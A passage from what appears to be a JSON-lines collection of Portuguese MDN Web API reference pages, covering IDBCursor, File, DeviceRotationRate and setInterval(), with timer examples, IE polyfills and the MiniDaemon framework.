armazenar o objeto. Isso pode ser usado para atualizar registros específicos.\n\nPropriedades\n------------\n\n`IDBCursor.source` (en-US) Somente leitura \n\nRetorna um `IDBObjectStore` (en-US) ou `IDBIndex` (en-US) que o cursor é a iteração. Esta função nunca retorna nulo ou gera uma exceção, mesmo se o cursor está actualmente a ser iterativo, tem iterated além de seu fim, ou a sua operação não está ativa.\n\n`IDBCursor.direction` (en-US) Somente leitura \n\nRetorna a direcção do percurso do cursor. Veja\n\nconstantes\n\npara os possíveis valores.\n\n`IDBCursor.key` (en-US) Somente leitura \n\nReturns the key for the record at the cursor's position. If the cursor is outside its range, this is set to `undefined`. The cursor's key can be any data type.\n\n`IDBCursor.primaryKey` (en-US) Somente leitura \n\nRetorna a chave para o registro na posição do cursor. Se o cursor estiver fora do seu alcance, isso é definido como indefinido. A chave do cursor pode ser qualquer tipo de dados.\n\nConstantes\n----------\n\n**Aviso:** These constants are no longer available. You should use the string constants directly instead. (Firefox bug 891944)\n\n* `NEXT`: `\"next\"` : The cursor shows all records, including duplicates. It starts at the lower bound of the key range and moves upwards (monotonically increasing in the order of keys).\n* `NEXTUNIQUE` : `\"nextunique\"` : The cursor shows all records, excluding duplicates. If multiple records exist with the same key, only the first one iterated is retrieved. It starts at the lower bound of the key range and moves upwards.\n* `PREV`: `\"prev\"` : The cursor shows all records, including duplicates. It starts at the upper bound of the key range and moves downwards (monotonically decreasing in the order of keys).\n* `PREVUNIQUE`: `\"prevunique\"` : The cursor shows all records, excluding duplicates. If multiple records exist with the same key, only the first one iterated is retrieved. It starts at the upper bound of the key range and moves downwards.\nExample\n-------\n\nIn this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store. The cursor does not require us to select the data based on a key; we can just grab all of it. Also note that in each iteration of the loop, you can grab data from the current record under the cursor object using `cursor.value.foo`. For a complete working example, see our IDBCursor example (view example live).\n```\n\nfunction displayData() {\n  var transaction = db.transaction(['rushAlbumList'], \"readonly\");\n  var objectStore = transaction.objectStore('rushAlbumList');\n\n  objectStore.openCursor().onsuccess = function(event) {\n    var cursor = event.target.result;\n    if(cursor) {\n      var listItem = document.createElement('li');\n      listItem.innerHTML = cursor.value.albumTitle + ', ' + cursor.value.year;\n      list.appendChild(listItem);\n\n      cursor.continue();\n    } else {\n      console.log('Entries all displayed.');\n    }\n  };\n};\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Indexed Database API 3.0 # cursor-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Using IndexedDB\n* Starting transactions: `IDBDatabase` (en-US)\n* Using transactions: `IDBTransaction` (en-US)\n* Setting a range of keys: `IDBKeyRange` (en-US)\n* Retrieving and making changes to your data: `IDBObjectStore` (en-US)\n* Using cursors: `IDBCursor`\n* Reference example: To-do Notifications (view example live.)"}
{"title":"File - APIs da Web","text":"File\n====\n\nSumário\n-------\n\nA interface `File` provê informações sobre arquivos e permite ao JavaScript a acessar seu conteúdo.\n\nSão geralmente recuperados a partir de um objeto `FileList` que é retornado como resultado da seleção, pelo usuário, de arquivos através do elemento `<input>`, a partir do objeto `DataTransfer` utilizado em operações de arrastar e soltar, ou a partir da API `mozGetAsFile()` em um `HTMLCanvasElement` (en-US). Em Gecko, códigos com privilégiios podem criar objetos File representando qualquer arquivo local sem a intereção do usuário (veja Implementation notes para mais informações.)\n\nUm objeto File é um tipo específico de `Blob`, e podem ser utilizados em qualquer contexto que um Blob pode. Em particular, `FileReader`, `URL.createObjectURL()`, `createImageBitmap()` (en-US), e `XMLHttpRequest.send()` aceitam ambos, Blobs e Files.\n\nVeja Using files from web applications (en-US) (usando arquivos através de uma aplicação web) para mais informações e exemplos.\n\nA referência ao arquivo pode ser salva quando o formulário é submetido enquanto o usuário está offline, de forma que os dados possam ser recuperados e enviados quando a conexão com a internet for reestabelecida,\n\nPropriedades\n------------\n\n`File.lastModifiedDate` (en-US) Somente leitura \n\nA Data da última modificação do arquivo referenciado pelo objeto `File`.\n\n`File.name` (en-US) Somente leitura \n\nO nome do arquivo referenciado pelo objeto `File`.\n\n`File.fileName` (en-US) \nNon-standard\n Somente leitura \n\nO nome do arquivo referenciado pelo objeto `File`.\n\n`File.fileSize` (en-US) \nNon-standard\n Somente leitura \n\nO tamanho do arquivo referenciado, em bytes.\n\nA interface `File` herda as propriedades da interface `Blob`.\n\n{{page(\"/pt-BR/docs/Web/API/Blob\",\"Properties\")}}Métodos\n-------\n\n`File.getAsBinary()` \nNon-standard\n\nRetorna uma string contendo os dados do arquivo em formato binário.\n\n`File.getAsDataURL()` \nNon-standard\n\nUma string contendo os dados do arquivo codificados como `data:` URL.\n\n`File.getAsText(string encoding)` \nNon-standard\n\nRetorna o conteúdo do arquivo como uma string em que os dados do arquivo são interpretados como texto, usando a codificação passada por parâmetro.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # file-section |\n\nCompatibilidade com os Navegadores\n----------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using files from web applications (en-US)\n* Using the DOM File API in chrome code\n* `FileReader`"}
{"title":"DeviceRotationRate - APIs da Web","text":"DeviceRotationRate\n==================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nUm objeto `DeviceRotationRate` fornece informações sobre a taxa na qual o dispositivo está girando em torno de todos os três eixos.\n\nProperties\n----------\n\n`DeviceRotationRate.alpha` (en-US) Somente leitura \n\nA quantidade de rotação em torno do eixo Z, em graus por segundo.\n\n`DeviceRotationRate.beta` (en-US) Somente leitura \n\nA quantidade de rotação em torno do eixo Y, em graus por segundo\n\n`DeviceRotationRate.gamma` (en-US) Somente leitura \n\nA quantidade de rotação em torno do eixo X, em graus por segundo\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DeviceOrientation Event Specification # devicemotioneventrotationrate |\n\nNavegador compativeís\n---------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"WindowOrWorkerGlobalScope.setInterval() - APIs da Web","text":"WindowOrWorkerGlobalScope.setInterval()\n=======================================\n\nO método **`setInterval()`** oferecido das interfaces `Window` e `Worker`, repetem chamadas de funções ou executam trechos de código, com um tempo de espera fixo entre cada chamada. Isso retorna um ID único para o intervalo, podendo remove-lo mais tarde apenas o chamando `clearInterval()` (en-US). Este metodo é definido pelo mixin `WindowOrWorkerGlobalScope`.\n\nSintaxe\n-------\n```\n\nvar intervalID = scope.setInterval(func, delay[, param1, param2, ...]);\nvar intervalID = scope.setInterval(code, delay);\n```\n\n### Parâmetros\n\n`func`\n\nUma `function` para ser executada a cada `delay` em milisegundos. Não é passado nenhum parâmetro para a função, e não retorna nenhum valor esperado.\n\n`code`\n\nUma sintaxe opcional permite você incuir uma string ao invés de uma função, no qual é compilado e executada a cada `delay` em milisegundos. Esta sintaxe *não é recomendada* pelos mesmos motivos que envolvem riscos de segurança de `eval()` (en-US).\n\n`delay`\n\nO tempo, em milisegundos (milésimos de segundo), o temporizador deve atrasar entre cada execução de uma especifica função ou código. Se esse parâmetro for menos que 10, um valor de 10 é usado. Note que o atraso pode vir a ser mais longo; veja Razões para atrasos maiores do que o especificado (en-US) para exemplos.\n\n`param1, ..., paramN` Optional\n\nParâmetros adicionais que são passados através da função especificada pela *func* quando o temporizador expirar.\n\n\n**Nota:** Passing additional parameters to `setInterval()` in the first syntax does not work in Internet Explorer 9 and earlier. If you want to enable this functionality on that browser, you must use a polyfill (see the Callback arguments section).\n\n### Return value\n\nO `intervalID` retornado é um número, non-zero valor que identifica o temporizador criado pela chamada do `setInterval()`; este valor pode ser passado para `WindowOrWorkerGlobalScope.clearInterval()` (en-US) afim de cancelar o timeout.\n\nIsso pode ser útil, estar ciente que o `setInterval()` e `setTimeout()` (en-US) compartilham o mesmo grupo de IDs, e que o `clearInterval()` e `clearTimeout()` podem tecnicamente serem usados em conjunto. Para deixar claro, contudo, você deve sempre tentar evitar combina-los, afim de evitar confusão na manutenção do seu código.\n\n**Nota:** The `delay` parameter is converted to a signed 32-bit integer. This effectively limits `delay` to 2147483647 ms, since it's specified as a signed integer in the IDL.\n\nExemplos\n--------\n\n### Exemplo 1: Sintaxe básica\n\nO seguinte exemplo mostra a sintaxe básica do `setInterval()`\n\n\n```js\nvar intervalID = window.setInterval(myCallback, 500);\n\nfunction myCallback() {\n  // Your code here\n}\n```\n\n### Exemplo 2: Alternando duas cores\n\nO seguinte exemplo chama a função `flashtext()` uma vez por segundo até o botão de parar ser pressionado.\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>setInterval/clearInterval example</title>\n\n    <script>\n var nIntervId;\n\n function changeColor() {\n nIntervId = setInterval(flashText, 1000);\n }\n\n function flashText() {\n var oElem = document.getElementById(\"my\\_box\");\n oElem.style.color = oElem.style.color == \"red\" ? \"blue\" : \"red\";\n // oElem.style.color == 'red' ? 'blue' : 'red' is a ternary operator.\n }\n\n function stopTextColor() {\n clearInterval(nIntervId);\n }\n </script>\n  </head>\n\n  <body onload=\"changeColor();\">\n    <div id=\"my\\_box\">\n      <p>Hello World</p>\n    </div>\n\n    <button onclick=\"stopTextColor();\">Stop</button>\n  </body>\n</html>\n```\n\n### Exemplo 3: Simulação de máquina de escrever\n\nO seguinte exemplo simula uma máquina de escrever primeiro limpando e digitando lentamente o conteúdo para `NodeList` (en-US) que corresponde a um grupo especificado de seletores.\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>JavaScript Typewriter - MDN Example</title>\n    <script>\n function Typewriter(sSelector, nRate) {\n function clean() {\n clearInterval(nIntervId);\n bTyping = false;\n bStart = true;\n oCurrent = null;\n aSheets.length = nIdx = 0;\n }\n\n function scroll(oSheet, nPos, bEraseAndStop) {\n if (!oSheet.hasOwnProperty(\"parts\") || aMap.length < nPos) {\n return true;\n }\n\n var oRel,\n bExit = false;\n\n if (aMap.length === nPos) {\n aMap.push(0);\n }\n\n while (aMap[nPos] < oSheet.parts.length) {\n oRel = oSheet.parts[aMap[nPos]];\n\n scroll(oRel, nPos + 1, bEraseAndStop)\n ? aMap[nPos]++\n : (bExit = true);\n\n if (\n bEraseAndStop &&\n ((oRel.ref.nodeType - 1) | 1) === 3 &&\n oRel.ref.nodeValue\n ) {\n bExit = true;\n oCurrent = oRel.ref;\n sPart = oCurrent.nodeValue;\n oCurrent.nodeValue = \"\";\n }\n\n oSheet.ref.appendChild(oRel.ref);\n if (bExit) {\n return false;\n }\n }\n\n aMap.length--;\n return true;\n }\n\n function typewrite() {\n if (\n sPart.length === 0 &&\n scroll(aSheets[nIdx], 0, true) &&\n nIdx++ === aSheets.length - 1\n ) {\n clean();\n return;\n }\n\n oCurrent.nodeValue += sPart.charAt(0);\n sPart = sPart.slice(1);\n }\n\n function Sheet(oNode) {\n this.ref = oNode;\n if (!oNode.hasChildNodes()) {\n return;\n }\n this.parts = Array.prototype.slice.call(oNode.childNodes);\n\n for (var nChild = 0; nChild < this.parts.length; nChild++) {\n oNode.removeChild(this.parts[nChild]);\n this.parts[nChild] = new Sheet(this.parts[nChild]);\n }\n }\n\n var nIntervId,\n oCurrent = null,\n bTyping = false,\n bStart = true,\n nIdx = 0,\n sPart = \"\",\n aSheets = [],\n aMap = [];\n\n this.rate = nRate || 100;\n\n this.play = function () {\n if (bTyping) {\n return;\n }\n if (bStart) {\n var aItems = document.querySelectorAll(sSelector);\n\n if (aItems.length === 0) {\n return;\n }\n for (var nItem = 0; nItem < aItems.length; nItem++) {\n aSheets.push(new Sheet(aItems[nItem]));\n /\\* Uncomment the following line if you have previously hidden your elements via CSS: \\*/\n // aItems[nItem].style.visibility = \"visible\";\n }\n\n bStart = false;\n }\n\n nIntervId = setInterval(typewrite, this.rate);\n bTyping = true;\n };\n\n this.pause = function () {\n clearInterval(nIntervId);\n bTyping = false;\n };\n\n this.terminate = function () {\n oCurrent.nodeValue += sPart;\n sPart = \"\";\n for (nIdx; nIdx < aSheets.length; scroll(aSheets[nIdx++], 0, false));\n clean();\n };\n }\n\n /\\* usage: \\*/\n var oTWExample1 = new Typewriter(\n /\\* elements: \\*/ \"#article, h1, #info, #copyleft\",\n /\\* frame rate (optional): \\*/ 15,\n );\n\n /\\* default frame rate is 100: \\*/\n var oTWExample2 = new Typewriter(\"#controls\");\n\n /\\* you can also change the frame rate value modifying the \"rate\" property; for example: \\*/\n // oTWExample2.rate = 150;\n\n onload = function () {\n oTWExample1.play();\n oTWExample2.play();\n };\n </script>\n    <style type=\"text/css\">\n span.intLink,\n a,\n a:visited {\n cursor: pointer;\n color: #000000;\n text-decoration: underline;\n }\n\n #info {\n width: 180px;\n height: 150px;\n float: right;\n background-color: #eeeeff;\n padding: 4px;\n overflow: auto;\n font-size: 12px;\n margin: 4px;\n border-radius: 5px;\n /\\* visibility: hidden; \\*/\n }\n </style>\n  </head>\n\n  <body>\n    <p\n id=\"copyleft\"\n style=\"font-style: italic; font-size: 12px; text-align: center;\">\n      CopyLeft 2012 by\n      <a href=\"https://developer.mozilla.org/\" target=\"\\_blank\"\n >Mozilla Developer Network</a\n >\n    </p>\n    <p id=\"controls\" style=\"text-align: center;\">\n      [&nbsp;<span class=\"intLink\" onclick=\"oTWExample1.play();\">Play</span> |\n      <span class=\"intLink\" onclick=\"oTWExample1.pause();\">Pause</span> |\n      <span class=\"intLink\" onclick=\"oTWExample1.terminate();\">Terminate</span\n >&nbsp;]\n    </p>\n    <div id=\"info\">\n      Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin\n      ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros\n      convallis ut mollis magna pellentesque. Pellentesque placerat enim at\n      lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt\n      tincidunt.\n    </div>\n    <h1>JavaScript Typewriter</h1>\n\n    <div id=\"article\">\n      <p>\n        Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices\n        dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus\n        auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus,\n        in placerat est. Pellentesque habitant morbi tristique senectus et netus\n        et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis\n        dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus\n        ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar\n        fringilla consectetur aliquam purus. Curabitur convallis, justo posuere\n        porta egestas, velit erat ornare tortor, non viverra justo diam eget\n        arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc,\n        suscipit a hendrerit vitae, volutpat non ipsum.\n      </p>\n      <form>\n        <p>\n          Phasellus ac nisl lorem: <input type=\"text\" /><br />\n          <textarea style=\"width: 400px; height: 200px;\">\nNullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</textarea\n >\n        </p>\n        <p><input type=\"submit\" value=\"Send\" /></p>\n      </form>\n      <p>\n        Duis lobortis sapien quis nisl luctus porttitor. In tempor semper\n        libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor\n        tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod\n        felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit\n        diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut\n        vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam\n        aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus\n        risus, dignissim et fringilla et, egestas vel eros. Duis malesuada\n        accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing\n        ultricies fermentum. Praesent bibStartum condimentum feugiat.\n      </p>\n      <p>\n        Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc,\n        vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis.\n        Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem\n        ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc.\n        Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem\n        ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl\n        eu sem vehicula egestas.\n      </p>\n    </div>\n  </body>\n</html>\n```\n\n\nView this demo in action. See also: `clearInterval()` (en-US).\n\nArgumentos callback\n-------------------\n\nComo já foi discutido, Internet Explorer 9 e versões anteriores não suportam passar argumentos para a função callback em ambos `setTimeout()` ou `setInterval()`. O seguinte código **IE-specific** demonstra um método para superar esta limitação. Para usar, apenas adicione o seguinte código no topo do seu script.\n\n\n```js\n/\\*\\\n|\\*|\n|\\*| IE-specific polyfill that enables the passage of arbitrary arguments to the\n|\\*| callback functions of javascript timers (HTML5 standard syntax).\n|\\*|\n|\\*| https://developer.mozilla.org/pt-BR/docs/Web/API/window.setInterval\n|\\*| https://developer.mozilla.org/User:fusionchess\n|\\*|\n|\\*| Syntax:\n|\\*| var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);\n|\\*| var timeoutID = window.setTimeout(code, delay);\n|\\*| var intervalID = window.setInterval(func, delay[, param1, param2, ...]);\n|\\*| var intervalID = window.setInterval(code, delay);\n|\\*|\n\\\\*/\n\nif (document.all && !window.setTimeout.isPolyfill) {\n  var __nativeST__ = window.setTimeout;\n  window.setTimeout = function (\n    vCallback,\n    nDelay /\\*, argumentToPass1, argumentToPass2, etc. \\*/,\n  ) {\n    var aArgs = Array.prototype.slice.call(arguments, 2);\n    return \\_\\_nativeST\\_\\_(\n      vCallback instanceof Function\n        ? function () {\n            vCallback.apply(null, aArgs);\n          }\n        : vCallback,\n      nDelay,\n    );\n  };\n  window.setTimeout.isPolyfill = true;\n}\n\nif (document.all && !window.setInterval.isPolyfill) {\n  var __nativeSI__ = window.setInterval;\n  window.setInterval = function (\n    vCallback,\n    nDelay /\\*, argumentToPass1, argumentToPass2, etc. \\*/,\n  ) {\n    var aArgs = Array.prototype.slice.call(arguments, 2);\n    return \\_\\_nativeSI\\_\\_(\n      vCallback instanceof Function\n        ? function () {\n            vCallback.apply(null, aArgs);\n          }\n        : vCallback,\n      nDelay,\n    );\n  };\n  window.setInterval.isPolyfill = true;\n}\n```\n\n\nOutra possibilidade é uso uma função anônima para chama o callback, apesar de que esta solução seja um pouco mais pesada. Exemplo:\n\n\n```js\nvar intervalID = setInterval(function () {\n  myFunc(\"one\", \"two\", \"three\");\n}, 1000);\n```\n\n\nOutra possibilidade é usar o function's bind. Exemplo:\n\n\n```js\nvar intervalID = setInterval(function (arg1) {}.bind(undefined, 10), 1000);\n```\n\n### Abas inativas\n\nIniciado no Gecko 5.0, intervalos são fixados para disparar não mais do que uma vez por segundo em abas inativas.\n\nO problema do \"`this`\"\n----------------------\n\nQuando você passa um método para `setInterval()` ou qualquer outra função, ela é chamada com o valor do `this` errado. Este problema é explicado em detalhes em JavaScript reference.\n\n### Explicação\n\nO código executado pelo `setInterval()` roda em um contexto de execução separado da função que foi chamada. Como uma consequência, o `this` da função chamada, é setado como o objeto `window` (ou `global`), esse não é o mesmo valor do `this` para a função chamada em setTimeout. veja o seguinte exemplo (que usa `setTimeout()` ao invés de `setInterval()` - o problema segue para ambos os temporizadores)\n\n\n```js\nmyArray = [\"zero\", \"one\", \"two\"];\n\nmyArray.myMethod = function (sProperty) {\n  alert(arguments.length > 0 ? this[sProperty] : this);\n};\n\nmyArray.myMethod(); // prints \"zero,one,two\"\nmyArray.myMethod(1); // prints \"one\"\nsetTimeout(myArray.myMethod, 1000); // prints \"[object Window]\" after 1 second\nsetTimeout(myArray.myMethod, 1500, \"1\"); // prints \"undefined\" after 1,5 seconds\n// passing the 'this' object with .call won't work\n// because this will change the value of this inside setTimeout itself\n// while we want to change the value of this inside myArray.myMethod\n// in fact, it will be an error because setTimeout code expects this to be the window object:\nsetTimeout.call(myArray, myArray.myMethod, 2000); // error: \"NS\\_ERROR\\_XPC\\_BAD\\_OP\\_ON\\_WN\\_PROTO: Illegal operation on WrappedNative prototype object\"\nsetTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error\n```\n\n\nComo você pode ver, não há maneiras de passar o objeto `this` para a função callback.\n\n### Uma possível solução\n\nUm possível caminho para resolver o problema do `this`, é sobreescrever as duas funções globais nativas `setTimeout()` ou `setInterval()` com duas *non-native* que permitem sua invocação através do método `Function.prototype.call` (en-US). O seguinte exemplo mostra a possível substituição.\n\n\n```js\n// Enable the passage of the 'this' object through the JavaScript timers\n\nvar __nativeST__ = window.setTimeout,\n  __nativeSI__ = window.setInterval;\n\nwindow.setTimeout = function (\n  vCallback,\n  nDelay /\\*, argumentToPass1, argumentToPass2, etc. \\*/,\n) {\n  var oThis = this,\n    aArgs = Array.prototype.slice.call(arguments, 2);\n  return \\_\\_nativeST\\_\\_(\n    vCallback instanceof Function\n      ? function () {\n          vCallback.apply(oThis, aArgs);\n        }\n      : vCallback,\n    nDelay,\n  );\n};\n\nwindow.setInterval = function (\n  vCallback,\n  nDelay /\\*, argumentToPass1, argumentToPass2, etc. \\*/,\n) {\n  var oThis = this,\n    aArgs = Array.prototype.slice.call(arguments, 2);\n  return \\_\\_nativeSI\\_\\_(\n    vCallback instanceof Function\n      ? function () {\n          vCallback.apply(oThis, aArgs);\n        }\n      : vCallback,\n    nDelay,\n  );\n};\n```\n\n\n**Nota:** These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as *non-standard-compliant* polyfills also. See the callback arguments paragraph for a *standard-compliant* polyfill.\n\nTeste da nova implementação:\n\n\n```js\nmyArray = [\"zero\", \"one\", \"two\"];\n\nmyArray.myMethod = function (sProperty) {\n  alert(arguments.length > 0 ? this[sProperty] : this);\n};\n\nsetTimeout(alert, 1500, \"Hello world!\"); // the standard use of setTimeout and setInterval is preserved, but...\nsetTimeout.call(myArray, myArray.myMethod, 2000); // prints \"zero,one,two\" after 2 seconds\nsetTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints \"two\" after 2,5 seconds\n```\n\n\nOutra, mais complexa, solução para o problema do `this` é the following framework.\n\n**Nota:** JavaScript 1.8.5 introduces the `Function.prototype.bind()` method, which lets you specify the value that should be used as `this` for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports arrow functions, with lexical this allowing us to write setInterval( () => this.myMethod) if we're inside myArray method.\n\nMiniDaemon - A framework for managing timers\n--------------------------------------------\n\nIn pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the `this` object to the callback function (see The \"this\" problem for details). The following code is also available on GitHub.\n\n**Nota:** For a more complex but still modular version of it (`Daemon`) see JavaScript Daemons Management. This more complex version is nothing but a big and scalable collection of methods for the `Daemon` constructor. However, the `Daemon` constructor itself is nothing but a clone of `MiniDaemon` with an added support for *init* and *onstart* functions declarable during the instantiation of the `daemon`. **So the `MiniDaemon` framework remains the recommended way for simple animations**, because `Daemon` without its collection of methods is essentially a clone of it.\n\n### minidaemon.js\n\n\n```js\n/\\*\\\n|\\*|\n|\\*| :: MiniDaemon ::\n|\\*|\n|\\*| Revision #2 - September 26, 2014\n|\\*|\n|\\*| https://developer.mozilla.org/pt-BR/docs/Web/API/window.setInterval\n|\\*| https://developer.mozilla.org/User:fusionchess\n|\\*| https://github.com/madmurphy/minidaemon.js\n|\\*|\n|\\*| This framework is released under the GNU Lesser General Public License, version 3 or later.\n|\\*| http://www.gnu.org/licenses/lgpl-3.0.html\n|\\*|\n\\\\*/\n\nfunction MiniDaemon(oOwner, fTask, nRate, nLen) {\n  if (!(this && this instanceof MiniDaemon)) {\n    return;\n  }\n  if (arguments.length < 2) {\n    throw new TypeError(\"MiniDaemon - not enough arguments\");\n  }\n  if (oOwner) {\n    this.owner = oOwner;\n  }\n  this.task = fTask;\n  if (isFinite(nRate) && nRate > 0) {\n    this.rate = Math.floor(nRate);\n  }\n  if (nLen > 0) {\n    this.length = Math.floor(nLen);\n  }\n}\n\nMiniDaemon.prototype.owner = null;\nMiniDaemon.prototype.task = null;\nMiniDaemon.prototype.rate = 100;\nMiniDaemon.prototype.length = Infinity;\n\n/\\* These properties should be read-only \\*/\n\nMiniDaemon.prototype.SESSION = -1;\nMiniDaemon.prototype.INDEX = 0;\nMiniDaemon.prototype.PAUSED = true;\nMiniDaemon.prototype.BACKW = true;\n\n/\\* Global methods \\*/\n\nMiniDaemon.forceCall = function (oDmn) {\n  oDmn.INDEX += oDmn.BACKW ? -1 : 1;\n  if (\n    oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false ||\n    oDmn.isAtEnd()\n  ) {\n    oDmn.pause();\n    return false;\n  }\n  return true;\n};\n\n/\\* Instances methods \\*/\n\nMiniDaemon.prototype.isAtEnd = function () {\n  return this.BACKW\n    ? isFinite(this.length) && this.INDEX < 1\n    : this.INDEX + 1 > this.length;\n};\n\nMiniDaemon.prototype.synchronize = function () {\n  if (this.PAUSED) {\n    return;\n  }\n  clearInterval(this.SESSION);\n  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);\n};\n\nMiniDaemon.prototype.pause = function () {\n  clearInterval(this.SESSION);\n  this.PAUSED = true;\n};\n\nMiniDaemon.prototype.start = function (bReverse) {\n  var bBackw = Boolean(bReverse);\n  if (this.BACKW === bBackw && (this.isAtEnd() || !this.PAUSED)) {\n    return;\n  }\n  this.BACKW = bBackw;\n  this.PAUSED = false;\n  this.synchronize();\n};\n```\n\n\n**Nota:** MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.\n\n### Syntax\n```\n\nvar myDaemon = new MiniDaemon(thisObject, callback[, rate[, length]]);\n```\n\n### Description\n\nReturns a JavaScript `Object` containing all information needed by an animation (like the `this` object, the callback function, the length, the frame-rate).\n\n#### Parameters\n\n`thisObject`\n\nThe `this` object on which the *callback* function is called. It can be an `object` or `null`.\n\n`callback`\n\nThe function that is repeatedly invoked . **It is called with three parameters**: *index* (the iterative index of each invocation), *length* (the number of total invocations assigned to the *daemon* - finite or `Infinity` (en-US)) and *backwards* (a boolean expressing whether the *index* is increasing or decreasing). It is something like *callback*.call(*thisObject*, *index*, *length*, *backwards*). **If the callback function returns a `false` value the *daemon* is paused**.\n\n`rate (optional)`\n\nThe time lapse (in number of milliseconds) between each invocation. The default value is 100.\n\n`length (optional)`\n\nThe total number of invocations. It can be a positive integer or `Infinity`. The default value is `Infinity`.\n\n#### `MiniDaemon` instances properties\n\n`myDaemon.owner`\n\nThe `this` object on which is executed the daemon (read/write). It can be an `object` or `null`.\n\n`myDaemon.task`\n\nThe function that is repeatedly invoked (read/write). It is called with three arguments: *index* (the iterative index of each invocation), *length* (the number of total invocations assigned to the daemon - finite or `Infinity` (en-US)) and backwards (a boolean expressing whether the *index* is decreasing or not) – see above. If the `myDaemon.task` function returns a `false` value the *daemon* is paused.\n\n`myDaemon.rate`\n\nThe time lapse (in number of milliseconds) between each invocation (read/write).\n\n`myDaemon.length`\n\nThe total number of invocations. It can be a positive integer or `Infinity` (read/write).\n\n#### `MiniDaemon` instances methods\n\n`myDaemon.isAtEnd()`\n\nReturns a boolean expressing whether the *daemon* is at the start/end position or not.\n\n`myDaemon.synchronize()`\n\nSynchronize the timer of a started daemon with the time of its invocation.\n\n`myDaemon.pause()`\n\nPauses the daemon.\n\n`myDaemon.start([reverse])`\n\nStarts the daemon forward (*index* of each invocation increasing) or backwards (*index* decreasing).\n\n#### `MiniDaemon` global object methods\n\n`MiniDaemon.forceCall(minidaemon)`\n\nForces a single callback to the `minidaemon.task` function regardless of the fact that the end has been reached or not. In any case the internal `INDEX` property is increased/decreased (depending on the actual direction of the process).\n\n### Example usage\n\nYour HTML page:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>MiniDaemin Example - MDN</title>\n    <script type=\"text/javascript\" src=\"minidaemon.js\"></script>\n    <style type=\"text/css\">\n #sample\\_div {\n visibility: hidden;\n }\n </style>\n  </head>\n\n  <body>\n    <p>\n      <input\n type=\"button\"\n onclick=\"fadeInOut.start(false /\\* optional \\*/);\"\n value=\"fade in\" />\n      <input type=\"button\" onclick=\"fadeInOut.start(true);\" value=\"fade out\" />\n      <input type=\"button\" onclick=\"fadeInOut.pause();\" value=\"pause\" />\n    </p>\n\n    <div id=\"sample\\_div\">Some text here</div>\n\n    <script type=\"text/javascript\">\n function opacity(nIndex, nLength, bBackwards) {\n this.style.opacity = nIndex / nLength;\n if (bBackwards ? nIndex === 0 : nIndex === 1) {\n this.style.visibility = bBackwards ? \"hidden\" : \"visible\";\n }\n }\n\n var fadeInOut = new MiniDaemon(\n document.getElementById(\"sample\\_div\"),\n opacity,\n 300,\n 8,\n );\n </script>\n  </body>\n</html>\n```\n\n\nView this example in 